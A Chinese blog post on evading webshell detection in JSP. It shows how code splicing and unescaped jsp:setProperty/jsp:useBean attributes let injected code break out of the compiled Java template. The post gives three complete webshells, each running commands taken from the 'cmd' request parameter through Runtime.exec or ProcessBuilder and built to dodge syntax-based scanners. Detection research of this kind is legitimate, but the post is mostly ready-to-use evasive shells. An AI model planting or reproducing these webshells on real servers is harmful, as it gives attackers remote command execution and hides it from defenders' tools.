登录后台

页面导航

本文编写于 220 天前,最后修改于 220 天前,其中某些信息可能已经过时。

webshell代码拼接绕过(jsp)

jsp文件加载的流程:

从jsp文件中提取信息----->嵌入模板-------->编译java文件,生成class并加载

其中可以利用的点就是嵌入模板生成java文件的一步,就想sql注入中的闭合等一些手法一样

代码拼接

利用代码拼接逃逸,构造类执行

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String data=request.getParameter("cmd");
    hack(data);
    } catch(java.lang.Throwable t){} finally { _jspxFactory.releasePageContext(_jspx_page_context);}
    }
    public void hack(String data) throws java.io.IOException, javax.servlet.ServletException
    {
    javax.servlet.jsp.JspWriter out = null;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.http.HttpServletResponse response = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;
    try{
    Runtime.getRuntime().exec(data);
    %>

表面看上去,代码是不完整的,但是我们看一下拼接后的.java文件


可以看到,生成的.java文件是完整的
我们先闭合前面的trycatchfinally,在用try去闭合后面的执行,使其成为完整的java文件,通过编译

标签逃逸

我们可以去看一下java对setProperty,useBean等属性的处理


当property="*"时,Jsp在处理setProperty,useBean等属性的时候没有对名称进行转义,导致在渲染模板的时候可以代码逃逸
插进去的文本可以利用前后注释闭合,打破检测引擎的语法结构分析

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<jsp:setProperty name="\" + new java.util.function.Supplier<String>() {public
String get(){ try{String s = request.getParameter(\"cmd\");Process process =
new ProcessBuilder().command(s.split(\" \")).start();} catch (Exception e)
{ e.printStackTrace();}return \"\";}}.get() + \"" property="*"/>

可以看到拼接后的文件


稍微分析一下代码:
java 8 中的 Supplier 是一个函数接口,无参数,返回值类型为泛型 T。Supplier 的使用比较简单,使用场景也比较单一。

通俗的来说Supplier相当于一个放东西的容器,你可以在这个容器里放一些没有入参的代码,然后返回T类型,当调用get()方法的时候才会去执行容器里的代码得到返回值

s.spilt(" ")返回的是字符数组
可以很容易看到,容器中的代码被执行
或者我们可以采用usebean的方式进行逃逸:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<jsp:useBean
        id="a;java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\"));/*" type="java.lang.Class" beanName=";">
</jsp:useBean>
<jsp:setProperty name="\"*/ //" property="*"></jsp:setProperty>

可以看到拼接后:


大概分析一下:
拼接后的解析格式与动作属性对应的关系
type id= null;

id=(type) _jspx_page_context.getAttribute("id", javax.servlet.jsp.PageContext.PAGE_SCOPE)

if(id==null)

加载类或创建实例

_jspx_page_context.setAttribute(id)

org.apache.jasper.runtime.JspRuntimeLibrary.introspecthelper(_jspx_page_context.findAttribute("name")

用*/ 闭合前面的 /, // 注释后面的行